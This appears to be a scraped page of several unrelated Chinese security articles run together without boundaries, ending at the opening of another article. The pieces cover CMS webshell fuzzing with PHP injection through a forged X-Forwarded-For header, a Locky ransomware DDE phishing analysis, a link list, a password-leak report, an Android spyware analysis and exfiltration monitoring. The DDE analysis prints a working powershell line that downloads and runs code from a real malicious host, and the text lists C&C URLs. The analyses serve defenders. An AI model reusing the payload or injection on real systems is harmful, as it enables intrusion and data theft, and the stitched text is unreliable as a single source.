本文作者:Auther : [email protected](米斯特安全攻防实验室)

前言

“监控”一词,相信大家很常见,例如:xxx酒店厕所被安装监控、xxx明星被狗仔24小时监控,也有奶权师傅写过的《Python系列之——利用Python实现微博监控》和笔者写过的《从编写知乎粉丝监控到漏洞挖掘再到盗号》

但这跟”漏洞挖掘”联系起来的话似乎就让人摸不着头脑,其实不然,通过”监控”可以帮我们做很多事。

监控狂人的修炼之路

以大家最常见的一个东西起->扫描器,其可以辅助渗透测试工程师更好更简单的进行漏洞的信息发现,但是发现漏洞后要测试漏洞的时候哪些验证步骤是不是就很头疼呢?通过”监控”去完成是不是更好~

在我们做盲测漏洞的时候可能会考虑到一些问题,最主要的问题肯定就是什么时候平台能收到结果呢?

这时候就可以对接一些平台的API进行关键字监控了。

使用ceyeAPI接口对SSRF漏洞进行长期监控

API: /api/record?token={token}&type={dns|request}&filter={filter}
token: your ceye token.
type: type of query, ‘dns’ or ‘request’.
filter: match {filter}.{your domain}.ceye.io rule, but limit 20.

Python写一个监控然后再写个发信,这样在有些环境下迟迟到来的漏洞信息就会立即被在床上玩手机的你知道了。

其实如上的思路还可以利用很多结合dnslog的原理去监控,这里借助了ceye这个平台的API,还可以参考Bugscan的 dnslog平台 自己去搭建一个然后噼里啪啦,这里其实BurpsuiteScanner模块就借助了这样的思路去更快捷的扫描发现SSRF漏洞,但是却没办法做到长时间的”蛰伏期”(也就是在一些情况下,结果是需要一个等待才能到达),那其实大家可以继续开拓自己的思维去想些更有价值的东西。

如上说的一些”姿势”可能是废话了,很多人都自己多多少少都有想过也实现了,但是别急,前菜清淡,但主菜呢,邀君共品~

很多的时候,朋友就会问我xxCMS后台怎么GetWebshell,为什么那些牛人分分钟都可以Getwebshell了?除了看代码我怎么快速的获取GetWebshell的”姿势”呢?

一般后台GetWebshell的”姿势”有这几种:后台代码/命令执行代码闭合操作缓存文件上传等等…

那其实很多的都会本文件打交道,不如先造个文件监控出来:

1.png

造完监控,不如来写个后台GET/POST请求Fuzz,在做这个Fuzz的时候处理的时候遇到很多坑,脚本写的不是很好就不拿出来丢人现眼了~

这里我做的Fuzz是结合Burpsuite日志,进行筛选然后Fuzz:

2.png

这里筛选的脚本是根据 https://github.com/tony1016/BurpLogFilter 去造了一个2.7版本的~

其实这个脚本大概的功能实现是这样的:

设置GET/POST传输参数对应值为随机字符串(这里使用了python的uuid),会生成一个Fuzz历史Log文件,以便跟文件监控对比。

历史Log对比文件监控:

3.png

这里Fuzz之后发现有两个文件被修改了,而这两个文件因为有CMS特征的存在就不一一例举了。为什么会被修改呢?因为这里传递的值被写入了文件中,找到对应功能点发现有CSRF,一结合就造成了CSRF+后台GetWebshell~

通过如上的姿势测试了不少的CMS,又在CNVD和补天提交相对应也获得了不少的Bounty。

在利用这种姿势的情况下偶然发现一个CMS前台访问的时候会生成一个缓存日志文件,而缓存日志文件的内容会记录用户的IP:

<?php
127.0.0.1 GET /center/useredit/
die();
?>

那其getip()函数的核心代码:

......
if($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"]){
    $ip = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];
}elseif($HTTP_SERVER_VARS["HTTP_CLIENT_IP"]){
    $ip = $HTTP_SERVER_VARS["HTTP_CLIENT_IP"];
}elseif ($HTTP_SERVER_VARS["REMOTE_ADDR"]){
    $ip = $HTTP_SERVER_VARS["REMOTE_ADDR"];
}elseif (getenv("HTTP_X_FORWARDED_FOR")){
    $ip = getenv("HTTP_X_FORWARDED_FOR");
}elseif (getenv("HTTP_CLIENT_IP")){
    $ip = getenv("HTTP_CLIENT_IP");
}elseif (getenv("REMOTE_ADDR")){
    $ip = getenv("REMOTE_ADDR");
}
......

可以通过伪造XFF头进行PHP代码的闭合造成前台无限制GetWebshell,但是缓存文件的路径是:/www/center/temp/md5(text).php

通过代码了解到其的文件的命名规则是md5(time()),那其实通过记录前后的一部分时间戳加上Burpsuite的Intruder模块进行md5加密枚举就行了。

那其实还可以做一些Fuzz然后实时监控Mysql的SQL执行语句:

4.png

首先来看下Mysql的记录Log功能开了没有:

SHOW VARIABLES LIKE "general_log%";

5.png

看见其的功能OFF了~只要设置下ON就行了:

SET GLOBAL general_log = 'ON';

6.png

使用BareTail进行监控或者自己根据Log的文本规则监控就行了:

7.png

结尾

本文不足之处欢迎指出,也希望大家可以GET到一点点思路,欢迎跟笔者交流。

概述

近日,腾讯反病毒实验室发现利用DDE的勒索邮件正大规模爆发。DDE代码执行利用攻击原理为,微软动态数据交换(DDE)属性允许Office应用程序从其他程序中加载数据。而黑客正是利用DDE这种天然属性,在Office应用程序中加载执行恶意代码。尽管DDE做为一项老功能已被较新的对象链接与嵌入(OLE)工具包所取代,但Office应用程序出于兼容的考虑仍然支持DDE功能。(关于DDE攻击技术的介绍请参考之前的文章:无需开启宏即可渗透:在Office文档中利用DDE执行命令

在这波攻击事件中,黑客的攻击流程如下:黑客使用发票等主题的钓鱼邮件为初始载荷发起攻击,当文档中的DDE代码获得运行后,DDE代码会调用powershell尝试从多个不同的C&C服务器下载loader程序,loader程序会与C&C通信下载勒索软件并加载执行,最终加密用户电脑数据以达到破坏数据勒索钱财的目的。

从时间维度来看,2017年10月9日DDE执行代码的技术细节被公开,从腾讯反病毒实验室的安全大数据可以看到在细节被公开的前两天中,鲜有恶意文档利用这种技术,但随着时间的推移,这种利用方式受到越来越多黑客们的青睐。

下图为腾讯反病毒实验室最近截获的利用DDE代码执行的恶意文档趋势图。

1.png

钓鱼邮件特征

钓鱼邮件使用伪造的发件人地址,发件人地址呈现一定的规律:通常为一个男性的名字,后面跟随机数字组成的邮箱名称,如[email protected]

在这次攻击事件中,我们得到的发件人包括:

Angie <[email protected]>

Beatrice <[email protected]>

Brooke Calder <[email protected]>

Cynthia <[email protected]>

Daphne <[email protected]>

Eddie <[email protected]>

Eliza <[email protected]>

Felecia <[email protected]>

Holly <[email protected]>

Jacqueline<[email protected]>

Julian Seward <[email protected]>

Latisha Neville <[email protected]>

Leann <[email protected]>

Phoebe <[email protected]>

Shelby <[email protected]>

Zelma [email protected]

此外,邮件主题也多为与发票,文档有关的内容,已知的邮件主题包括:

DC0007096.doc (其中的7096可以为其他4位随机数字)

Emailed Invoice – 385663(其中385663可以为其他的6位随机数字)

Invoice

Order

Paper

Receipt

Scan

Scanned document

Documents

而做为邮件的内容部分,则常保持为空白内容。

技术分析:

Word文档:

受害者下载并点击了附件中的Office文档,Office就会显示下面的提示

2.png

当用户点击了“是”后,WORD文档会通过CMD运行powershell命令:

3.png

对文档分析,可以看到DDE内容为:

DDE C:\\Windows\\System32\\cmd.exe "/kpowershell -NoP -sta -NonI -w hidden $e=(New-ObjectSystem.Net.WebClient).DownloadString('http://vithos.de/hjergf76');powershell -e$e "  

在这个过程中的进程执行链如下:

4.png

Powershell功能

Powershell会从http://vithos.de/hjergf76中下载一段base64过的代码,解码后的功能为:依次尝试连接URL列表中的每个URL,下载一个loader到本地后执行。Base64解码后的内容为

5.png

loader&ransomware分析

loader首先将编码的数据进行解码,然后到解码后的代码执行。以我们分析的样本为例,硬编码的数据位于0x30362A4地址处,大小为0x4AF8字节。

6.png

使用到的解码算法如下:

7.png

代码中使用了花指令混淆,如下面的代码本来可以直接调用sub_157408函数执行,而程序作者却先通过一些无关紧要的判断后到该函数执行。通过GetFileAttributesA获得一个不存在的文件apfHQ的文件属性,函数返回值永远为-1,所以当v8计数器>1时就会继续到sub_157408处运行。

8.png

sub_157408功能经过类似的混淆:注册一个窗口类后,使用PostMessageA函数向窗口发送0X1024号MSG(wParam和lParam分别为100,500),并随后使用GetMessage得到这个消息后,继续运行后面的代码

9.png

进行base64解码后,到解码后的地方执行

10.png

开启线程进行进程检测:通过计算进程名的hash值,与程序硬编码的hash进行比较,以此做为虚拟机对抗等。

11.png

12.png

 13.png

代码最终会解密出PE文件,将该PE文件注入到傀儡进程中执行

14.png

最后注入傀儡进程中的代码向下面的C&C发送请求,读取加密内容。

http://sergiocarfagna.it/SLyhe6.enc 

http://axtes.com/SLyhe6.enc

随后会与http://gdiscoun.org进行通信。目前http://gdiscoun.org地址的DNS已经被解析到了google.com。

将读取的加密内容解密后就是locky家族的勒索软件。Locky运行后的截图如下:

15.png

C&C地址分析

根据腾讯反病毒实验室的安全数据分析,对于此波攻击事件中的攻击者的基础设施情况,我们得到以下结论:

1.    将每个攻击文档的利用过程中都使用了大量的C&C地址。基本上对于每个攻击文档可以提取出9个C&C地址,其中word阶段为1个,powershell阶段为5个,loader阶段为3个。在对此波攻击范围中的多个文档样本分析后发现,在powershell阶段使用的C&C地址大部分都是相同的。

2.    不同的攻击文档,在不同的阶段可以使用相同的C&C。

如arkberg-design.fi这个地址,既是文档1(MD5: 0910541c2ac975a49a28d7a939e48cd3)的word阶段的C&C,也是文档2(MD5:f5564925dd68e23672d898e0a590340e)的powershell阶段的C&C。

3.    不同的攻击文档,在相同的阶段可以使用不同的C&C,但这些C&C位于相同的IP地址中。

如在文档1(MD5:fd5d0801d9470908090dcd36ae88e96c)使用的C&C地址为pdj.co.id,而文档2(MD5: 96284109c58728ed0b7e4a1229825448)的word阶段都使用的C&C地址为vithos.de,但pdj.co.id和vithos.de都位于相同的IP(87.106.30.57)中。

4.    C&C地址的域名并不都是攻击者的基础设施,有一部分为被攻击者非法控制的正常网站。其中一部分被利用的网站的首页界面都如下图所示。攻击者控制这些正常网站后,会将恶意内容放在网站的指定路径下。此后,恶意程序会连接该URL从而串联起整个攻击流程。

16.png

被利用的正常网站域名包括:

pdj.co.id
accessyouraudience.com
deltasec.net
basedow-bilder.de
pragmaticinquiry.org
shamanic-extracts.biz

防范建议

攻击者在攻击过程中使用了钓鱼邮件做为攻击的最初载荷。因此做好企业安全教育,不随意打开陌生人发送的文件可以最快的阻断攻击。

建议用户尽快排查自身网络内是否有C&C地址的访问,一旦发现有终端主机对上述地C&C地址发起请求连接则极有可能已经沦陷。同时建议用户安装腾讯电脑管家等终端安全产品,保持终端安全产品的及时更新从而达到有效防护。

目前,腾讯电脑管家和哈勃分析系统(https://habo.qq.com/)已经能够识别和查杀此类文档文件和loader程序。

17.png

18.png

参考:

https://myonlinesecurity.co.uk/more-locky-ransomware-delivered-via-dde-exploit-pretending-to-come-from-your-own-company-or-email-address/

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

https://www.virustotal.com/en/file/3d750de58563f860cd8f8674ce08e96b1f4e3ae3564c10efe61c50738056b0f2/analysis/

安全资讯

2017年网络安全公司IPO情况汇总  点击率 522 

急救药 | 发现个人信息被盗用后快速止损的方法  点击率 381 

Bad Rabbit网络中新出现的大规模勒索病毒 ,目前主要受影响地区为俄罗斯  点击率 361 

澳大利亚《关键基础设施安全法草案2017》解读  点击率 341 

Appleby律师事务所被黑泄露大量用户资料  点击率 298 

NSA bloke used backdoored MS Office key-gen, exposed secret exploits  点击率 254 

安全技术

高级渗透测试:破解世界上最安全的网络#密码: n2sd   点击率 853 

Cobra-W: 白盒源代码审计工具-白帽子版   点击率 457 

打造一款1kb大马并且处理D盾以及安全狗拦截与查杀   点击率 374 

WAF攻防研究之四个层次Bypass WAF   点击率 354 

灯塔实验室·技术沙龙(第五期)议题回顾   点击率 340 

旁路WAF:使用Burp插件绕过一些WAF设备   点击率 323 

Burp Suite pro 1.7.26破解版本 Cracked 2017/12/3   点击率 312 

SecWiki周刊(第190期)   点击率 301 

hackergame2017-writeup (中国科学技术大学第四届信息安全大赛)   点击率 301 

关于linux提权的命令你知道多少?   点击率 300 

微软开源扫描工具Sonar   点击率 297 

如何利用反弹 shell 构建你的僵尸网络   点击率 294 

菜鸟理解sql注入=“入侵五毛大楼”   点击率 280 

vulnerable-scene: 基于 Exploit-DB的漏洞环境   点击率 267 

CSRF花式绕过Referer技巧   点击率 256 

分享一个近期遇到的逻辑漏洞案例   点击率 253 

Google reCaptcha验证码识别 – 85%成功率   点击率 251 

Typecho 后门事件始末   点击率 250 

GitLeak:Github 上查找密码信息的小工具   点击率 248 

国产网站恶意代码监测(网马监控)工具优化版   点击率 244 

WDigest:清除内存中的密码,使mimikatz等工具无法获取到明文   点击率 243 

HTTPS攻击原理与防御   点击率 238 

Jboss引起的内网渗透   点击率 237 

深度学习开放数据集   点击率 236 

Typecho install.php 后门代码分析   点击率 232 

一个新的代码注入技巧   点击率 227 

A Study of RATs 29 年152种远控名称的时间轴   点击率 223 

OSINTforPenTests: 渗透测试中的开源情报信息收集   点击率 221 

代码审计之Semcms v2.3   点击率 220 

CTFDefense: 一些CTF的离线工具   点击率 219 

[CVE-2017-15688] GitBook 任意文件读取漏洞   点击率 216 

安全客2017季刊-第3期   点击率 213 

坏兔子勒索病毒事件基本分析报告   点击率 213 

互联网企业安全之端口监控   点击率 213 

Wappalyzer SSRF   点击率 210 

爬虫采集去重优化浅谈   点击率 209 

NATBypass: 一款lcx在golang下的实现   点击率 208 

互联网企业安全之端口监控   点击率 208 

Biu-framework 企业内网基础服务安全扫描框架   点击率 202 

sqlmap自带的tamper你了解多少?   点击率 201 

DOM XSS – auth.uber.com   点击率 199 

无线网络(WI-FI)保护协议标准WPA2漏洞综合分析报告   点击率 198 

社交应用Sarahah安全测试   点击率 193 

Java安全之反序列化漏洞分析   点击率 191 

平衡信息杯-Write-Up   点击率 189 

关于最近的 Typecho 安全漏洞   点击率 188 

基于flask的restful-api后端笔记   点击率 186 

UsbKeyboardDataHacker: USB键盘流量包取证工具   点击率 185 

D-Link系列路由器漏洞挖掘入门   点击率 183 

WAF与静态统计分析   点击率 180 

Apache Solr 已知版本漏洞现状基本调查报告   点击率 175 

前端防御从入门到弃坑–CSP变迁   点击率 172 

一文读懂集成学习(附学习资源)   点击率 169 

Authenticode签名伪造——PE文件的签名伪造与签名验证劫持   点击率 165 

onehttpd 0.7远程拒绝服务漏洞分析   点击率 163 

VulHint: VulHint是辅助代码审计的 sublime text 3 插件   点击率 163 

Unsupervised Machine Learning in Cyber Security   点击率 162 

blueborne_CVE-2017-0785深入分析与调试   点击率 162 

exploitpack: Exploit Pack – Penetration testing framework   点击率 161 

Cisco Traffic Analysis & Encrypted Threat Analytics   点击率 158 

deception-as-detection: 基于欺诈的检测技术   点击率 158 

WordPress安全架构分析   点击率 155 

WebShell-Detect-By-Machine-Learning: 使用机器学习识别WebShell   点击率 153 

moloch 网络流量回溯分析系统   点击率 152 

第三期VFSec技术沙龙 PPT   点击率 151 

How to post-process YARA rules generated by yarGen   点击率 148 

VirtualApp:Android 双开沙箱   点击率 146 

Linux TBB SFTP URI allows local IP disclosure   点击率 143 

Ubuntu 编译 OsmocomBB 环境 [更新2017-10-24]   点击率 140 

Stealing Amazon EC2 Keys via an XSS Vulnerability   点击率 140 

SemFuzz:基于语义自动生成漏洞PoC   点击率 137 

美国情报分析互联网资源之一   点击率 137 

Slack SAML authentication bypass   点击率 132 

SecurityFTW/cs-suite: AWS云基础设施安全审计工具   点击率 131 

OSXFuzz: macOS Kernel Fuzzer   点击率 131 

2017年Q3季度互联网安全报告   点击率 131 

X-Ray:在线移动应用安全测试(iOS/Android)   点击率 130 

IoT_reaper 情况更新   点击率 128 

移动应用安全开发最佳实践   点击率 127 

Passionfruit: iOS app分析取证系统   点击率 127 

Scan .onion hidden services with nmap using Tor, Docker   点击率 123 

YeAHPot: Yet Another Honey Pot   点击率 121 

recodeking/MalwareAnalysis: 恶意软件分析工具和资源列表   点击率 120 

KeyStoneJS Pentest Report   点击率 120 

偏执的iOS逆向研究员:收集全版本的macOS iOS+越狱+内核调试   点击率 118 

Stage-RemoteDll.ps1:32位和64位架构上的各种DLL注入技术   点击率 102 

DNS错误响应的案例   点击率 101 

Detecting Malicious Requests Using Keras & Tensorflow   点击率 91 

SecWiki 专注安全领域最新资讯、专题和导航,做高质量聚合与评论。

-----微信ID:SecWiki-----
SecWiki,5年来一直专注安全技术资讯分析!
SecWiki:https://www.sec-wiki.com

本期原文地址: SecWiki周刊(第191期)

由于在多个帐户中重复使用相同且较简单的密码,全球约三分之一的大型公司 CEO 的工作邮箱账户和密码被盗,连带其家庭住址、公司机密、私人邮件内容等私密信息均遭到曝光。 

实际上,电子邮箱帐户对网络犯罪分子来说非常有吸引力,因为它通常都包含一些敏感信息。比如, 第65任美国国务卿科林·鲍威尔的Gmail帐号曾在2016年的总统竞选期间遭到攻击,在泄露出来的一封邮件里他写到:“这个死骗子(希拉里克林顿)连撒谎都不会”!研究人员推测,泄露的原因是因为鲍威尔在 Gmail 账户中用的是早先被盗的Dropbox帐户里的密码。不过正因为如此,美国民众知晓了鲍威尔的真实想法;再比如,商业电子邮件泄露 (BEC):如果一家企业的财务总监收到了一封来自 “CEO” 的转账指令邮件并进行操作,后果将不堪设想。

timg-3.jpeg

根据F-Secure(计算机及网络安全提供商)今天发布的一份报告(PDF)显示,研究人员针对所泄露的凭据数据库检测了200位CEO们的邮箱地址,指出,技术公司的易曝光指数从30%上升到63%。他们还发现,超过七成的 CEO 连接公司邮箱地址的最高级别服务器大都为LinkedIn、Dropbox和专业网站。

CEO_accounts_compromised.png

有八成的 CEO 向研究人员透露,泄露的不仅仅只是邮箱账户和密码泄露那么简单, 他们的个人信息包括家庭住址,出生日期和电话号码等等会以垃圾邮件列表的形式和公司营销数据库一起被曝光。

只有少于两成的 CEO 的邮箱账户相对安全

不过,有一种防泄露方法是使用私人帐户和个人电话号码来伪装成企业公司,但是 F-Secure 警告说,这个方法在杀毒链的后期阶段以及防御层面都有缺陷:

 当 CEO 使用私人邮箱、电话号码或家庭住址来注册企业相关服务时,很大程度上影响了企业的 IT、通信、知识产权、法律以及本应来自安全团队所提供的安全保护,也就是说 CEO 脱离了自己的企业与员工,处于一种未被保护状态。

所以,要想保护好邮箱帐户和密码, F-Secure 的建议是使用合格的密码,比如无序的、字符数多的、更复杂的密码。还可以使用密码管理器来生成密码,但要特别注意一下无需访问设备的云端密码管理器;另外,避免通过登录第三方社交媒体的方式进行邮箱登录,因为一旦社交媒体帐户丢失了,其所关联的所有帐户也会相应丢失;最后,坚持使用多渠道身份验证,比如首选离线认证和基于硬件的口令认证,避免使用SMS密码。

密钥即密码。一般来说,服务提供商没有用明文存储密码,而且使用较长的、完全随机的密码字符(一般为32个字符)来设置密码,那么它就是相对安全的;但如果有一家情报机构的预算很足,这个机构理论上是可以破解 MD5 加密后的密码的。但是,如果服务商花很大的精力在密码保护这一块上,那么上面这种情况出现的几率就会大大减少。并且,即便是遇到“密码破解攻击”——即从被盗哈希中获取明文密码的情况下,通过增大计算量也就是“密钥延伸”的加密方式后,密码几乎都相对安全。比如,当服务商使用PBKDF2,scrypt,bcrypt或一些其他方案时,就可以通过迭代的方式把密码哈希验证次数提升到数百万次,包括一些相对简单的密码也很难被破解。

本文作者:securityweek,由 Hyde777 编译,转载请注明来自 FreeBuf.COM

微信头图1-02.jpg

随着移动互联网的发展和智能手机的普及,社交网络焕发出新的活力,移动社交受到人们的欢迎,移动社交APP也成为最流行的手机应用程序之一。与此同时,社交软件作为个人隐私信息的重要载体,也被恶意攻击者所觊觎。

近期,安天移动安全与猎豹移动就联合捕获到一例窃取社交软件信息等个人隐私的恶意样本,通详细的深入分析后发现,该恶意样本通过伪装成正常应用潜入用户手机,一旦运行就会接受远程控制命令展开一系列的恶意行为:监听用户通话、拦截并窃取用户短信、联系人、历史通话记录、浏览器历史记录、地理位置等隐私信息,并通过短信和http等方式回传隐私信息。此外,该病毒会通过私自拍照、录音录像、拨打电话、发送短信等方式对用户设备实施窃听。除了这些典型的窃私行为,该病毒还会通过私自提权进一步窃取用户社交软件上的信息,造成用户个人隐私的彻底泄露,具有较强的危害性。以下是对其基本情况和恶意行为的介绍分析。

 一、简要分析

该病毒伪装为某国际合作高峰论坛名称的应用程序,具有一定的迷惑性,与此同时包含远程控制模块、提权模块以及社交软件隐私信息窃取三部分恶意模块,窃取隐私信息的目的性较为明确,恶意程度较为严重。以下为其基本情况:

001.png

该病毒的恶意模块如下图所示,其中mm模块为主要远程控制模块,包含解析指令、C&C地址、指令响应函数等。

02.png

二、恶意行为分析

1.   远程控制行为

03.png

(远控流程图)

该病毒通过运行MyService这个服务,会打开一个线程,该线程用于解析远控命令和参数:

 04.png

05.png

06.png

该病毒设计了完善的窃听功能,以对用户设备中短信、联系人、环境录音、通话、照片相关功能和信息进行全盘控制和窃取。值得一提的是,该指令集中还包含对通话记录号码和已发送短信等新建信息的删除功能,足以看出该病毒自我隐蔽的意图。下述是该软件指令集:

07.png

2.恶意提权行为

此外,该病毒件存在提权行为,自带提权模块,如下图所示:

 08.png

此模块明显是利用了开源工具(https://github.com/Ste***son/Ro****ols)进行提权。目的是为了使此恶意软件能够执行获取root权限,进行一系列的恶意行为:防卸载以及窃取社交软件的隐私信息。

09.png

通过上图的UpdateBroadcastReceiver广播激活恶意操作:

10.png

并使用busybox mv这个命令将该软件移动到系统目录下,进而实现防卸载以及开始执行权限修改进而读取社交软件隐私信息。

3.社交软件信息窃取行为

该病毒主要对下述三款社交软件实施社交信息的窃取:

11.png

代码中包含了对上述三款社交软件信息窃取的恶意模块:

12.png

并通过开启AppService服务来获取这些社交软件的隐私信息:

 13.png

14.png

窃取Viber的用户聊天记录和通话记录:

15.png

窃取Vk软件好友信息和聊天记录,并且会适配Vk是为V3版本还是为老版本,而后窃取用户的聊天记录、用户信息和好友信息:

16.png

17.png

获取V3版本的聊天记录和用户信息:

18.png

获取老版本的聊天记录和好友信息、用户信息:

19.png

窃取WhatsApp的聊天记录和聊天信息:

20.png

最终该恶意软件会通过上述的命令解析模块将这些数据上传至远程服务器,以完成对用户高度敏感的社交隐私信息的窃取。

4.网络行为分析

通过网络抓包和代码分析,发现该病毒的C&C控制服务器:

21.png

22.png

https://anteet.applinzi.com/get.php?UID=******&Provider=country:cn%0D%0A&Phone_Number=IMEI:******%0D%0AIMSI:******%0D%0AISDN:&Coordinates=null,null&Device=Nexus4&Sdk=17&Version=1&Random=480&Password=password

三、总结

随着用户对移动应用使用场景的不断丰富,移动金融、购物、社交等成为人们生活中不可或缺的一部分,而丰富的“移动生活”所产生的大量用户隐私信息也被越来越多恶意攻击者觊觎:地下黑产信息交易活动愈演愈烈,用户信息被窃事件不绝于耳,用户隐私信息安全伴随移动化浪潮遭遇到前所未有的风险。

与此同时,窃私病毒的信息窃取范围也在不断扩大,恶意程度持续加深,不再仅限于窃取用户通话记录、短信、地理位置等典型的隐私信息,社交软件等含有高敏感度和私密性的个人信息载体成为恶意攻击者的新目标,为用户带来巨大的隐私泄露风险。

针对这种趋势,手机用户应该提高警惕,避免从不知名网站、论坛、应用市场等非正规渠道下载应用;当手机中莫名出现新安装应用等异常情况时,请及时使用安全产品扫描手机并对异常软件进行卸载处理;此外,应培养良好的安全意识,使用猎豹安全大师等集成了安天AVL引擎的安全产品定期进行病毒检测,以更好识别、抵御窃私病毒。

*本文作者:AVLTeam,来源AVLTeam,转载请注明FreeBuf.COM

*本文作者:ChuanFile;本文属 FreeBuf 原创奖励文章,未经许可禁止转载。

概述:

笔者因为孩子生病n次去医院输液,终于在最后一次打吊针的时候被人偷走了手机(医院果然是作案高发区),于是有了我补办手机卡的经历。一张电信手机卡在电信营业厅提供了身份证+照相人脸识别后顺利补办成功,另一张移动手机卡却遭遇了困境,移动要求身份证+服务密码+3个月内的任意5次拨出记录,但我的移动手机是备机+对外注册机(接收各种骚扰),3个月内也就拨出过极少的一两个电话,在丢失手机的情况下我根本不可能记得拨出的号码,而且如果想查通话记录必须手机的随机短信密码才可以,身份证+服务密码+本人也不行,这样我就陷入了死循环! 移动给的方案是:停机保号3个月,然后再补卡就不验证通话记录了,我就。。。。。,作为一名中国公民,我竟然没法证明我是我了!!!

此问题当前已解决,但作为搞安全的同学不得不多思考下这个经典的安全问题,移动为什么设置这个策略,他们是用什么逻辑证明这个关于我的问题:1、你是你 2、设备是你的3、你在用你的设备。

我们详细分析下这个问题:

商家的目的和解决方案

1、你要证明你是你:带着身份证来我就认为你是你,当然还要抬头看看你是不是你,高科技的方式就是加上人脸识别;

2、你要证明设备是你的:对于商家,sim卡就是他的设备,那提供服务密码就可以证明设备是你的了(电信是默认身份证后六位,存在安全隐患);

3、你要证明你在用你自己的设备:提供你最近3个月打过哪些电话,也就证明sim卡这个设备是你自己用的(这个电信没有这个步骤,估计是因为电信起步晚,起步的时候已经开始实名制),其实移动设置这个的目的是历史遗漏问题,以前没实名制的时候,很多卖卡的用自己的身份证注册并设置服务密码,然后卖给其他人,那其实他并没有在使用sim卡。如果仅仅验证1、2,则存在卖卡人代替使用人补卡的问题。但其实这里有个bug,证明你在用你的设备,只需要10086拨打使用者电话,然后回访姓名身份证对照注册信息即可(这个10086已经对笔者做过此操作,但10086没有用这个验证逻辑)。此外验证来电也是个很好的操作(为防止恶意拨打,建议仅验证补办一周前通话时长较长且频繁的来电,这样使用者有时间补办,也防止了冒用者),也可以解决我这种只用来当备机+对外注册机使用的用户了。

扩展下这个安全届的通用问题

1、身份认证,确定用户身份,一般来说pc都是采取系统登陆认证、web服务登陆认证等,账户密码就是用户的身份证

2、设备认证,确定设备所属,一般采集设备的id,这个id是通过购买和发放和用户关联起来的,你知道这个id就证明设备的合法性,设备是你的。这个id就相当于用户的服务密码了

3、行为认证,确定用户在用自己的身份在使用自己的设备,这就需要提取用户行为,如网络行为、文件操作行为、软件启动行为等,用户确认行为是否为自己所为,这也就是类似确认通话记录的过程了。但这里仅能类比不能等同,因为pc设备的行为过多,完全确认无法做到,而且总是让用户确认行为会造成用户抵触,无法取得安全和服务的平衡点,最终安全措施无法落地。黑客就是利用这个漏洞,潜伏在pc设备,实时破坏活动或信息窃取。那我们怎么才能解决这个问题发现黑客呢?

分析总结

带着这个疑问,首先我们分析下黑客的目的,我们聚焦下专业黑客,他们的目的是为了窃取数据,根据这些年互联网公布的入侵看,被窃取的数据主要包括:用户信息(包括名字、密码、住址、联系方式等),用于倒卖或登录获取更多有用数据;支付凭据(信用卡、社保信息等),用于直接获利;游戏数据(账号、密码、级别、资产等),用于直接获利;虚拟资产数据(充值卡号、充值卡密码等),用于直接获取。其次我们再分析下窃取渠道,从内网安全的角度窃取的通道是:内网服务器->pc终端->外网黑客接收端;pc终端->外网黑客接收端两种形式,当然如果合并看,仅仅认为只存在pc终端->外网黑客接收端一种形式也是合理的。最后,我们分析下被窃取的信息本身,信息的重要性不是由大小决定,而是由重要级别决定的,敏感数据1M > 低敏感度数据1G的道理每个人都懂,但大多数企业无法做到数据敏感度分级这也是不争的事实,那一般留给安全人员的就只有把控泄露数据大小这个点了,但多少泄露数据多?多少是少?这个唯一的决定权就是决策者(如领导)了,不过这里数据分析人员可提供下基本的数据给决策者,如平均外传大小等

此外,黑客入侵还有侦查、投递、漏洞利用、感染植入、控制C2、扩散等阶段,但我们只讨论最后的收割阶段,因为如果一木马病毒不外传数据,在没有人力的情况下,“养着”也未尝不可。

分析到这里,我们已经可以聚焦了,我们需要确认的是从pc传出去过量数据的行为是用户主动的还是非主动的?

实现思路:

1、记录进程实时流量大小,并做归并统计,主要统计上传数据量,用于计算是否超过阈值;

2、分析外传流量,获取外传目的和外传时间区间,用于和用户确认;

3、设置阈值(可结合进程黑白灰检测进一步缩小范围)

a)     同一终端单个进程>1G,对抗黑客利用单一进程外传的场景,此为最常见的场景;

b)     同一终端同一目的>1G,对抗黑客利用多个进程同时外传的场景,目的是加快外传速度或多进程躲避检测等;

c)     多个终端同一目的>1G,对抗黑客入侵多台终端外传的场景,多台机器被控制同时外传,从几率分析此场景较少;

d)     多个终端单一进程>1G,对抗黑客入侵多台终端外传的场景,多为正常程序操作,仅作为参考,相关机器可作为重点关注对象;

4、根据黑客利用几率设置预警级别:高级、中级、低级、待观察

5、最终用户确认,如非本人行为则触发事件

a)     高级风险5分钟确认

b)     中级风险4小时确认

c)     低级风险24小时确认

实现验证:

1、 通过网络数据分析或软件记录流量并分析

A方法:网络数据分析

1)  开启主机防火墙日志,可获取时间+进程名+源ip+源端口+目的ip+目的端口

 补卡的糟糕经历引发的思考:一点黑客技术让我们不再泄露那么多数据

 补卡的糟糕经历引发的思考:一点黑客技术让我们不再泄露那么多数据

2)  通过网络记录设备,如snort等,记录session,可获取获取时间+源ip+源端口+目的ip+目的端口+session大小,我们这里用wirshark演示

 补卡的糟糕经历引发的思考:一点黑客技术让我们不再泄露那么多数据

3)   利用主机日志+网络日志,最终确定每个进程的外传流量(源为本机则为外传, 不区分是否主动外传,包括正反向木马)大小

例如:

2017/10/18 12:00:01  liveupdate360.exe 192.168.187.143 54267112.65.68.41  80  2048MB

B方案:独立开发软件记录

火绒剑演示:

 补卡的糟糕经历引发的思考:一点黑客技术让我们不再泄露那么多数据

全代理演示:

 补卡的糟糕经历引发的思考:一点黑客技术让我们不再泄露那么多数据

2、归并计算分析是否达到阈值

a)     同一终端单个进程>1G:yes

b)     同一终端同一目的>1G:no

c)     多个终端同一目的>1G:no

d)     多个终端单一进程>1G:no

3、判定报警级别,并相应确认

a)     高风险,5分钟相应并确认,非本人操作则为事件

综上,实验证明方案可行,通过此方案可监控终端进程的外传情况,解决大量泄露问题,避免被窃取大量数据而不自知的场景(最近确实发生了太多了泄露事件),也可及时阻断泄露过程,有效控制损失量。当主机被入侵窃取大量数据时,我们可通过监控看到某未知进程(或已知进程被注入未知模块)在一段时间外传了过量数据,我们可及时发现并预警阻断;当员工主动泄露敏感数据时,我们可监控到某已知进程(如百度云盘、微盘等)在一段时间外传了过量数据,及时发现并要求其确认,达到震慑和确认目的。

*本文作者:ChuanFile;本文属 FreeBuf 原创奖励文章,未经许可禁止转载。

*本文原创作者:siotb,本文属FreeBuf原创奖励计划,未经许可禁止转载

一、前言

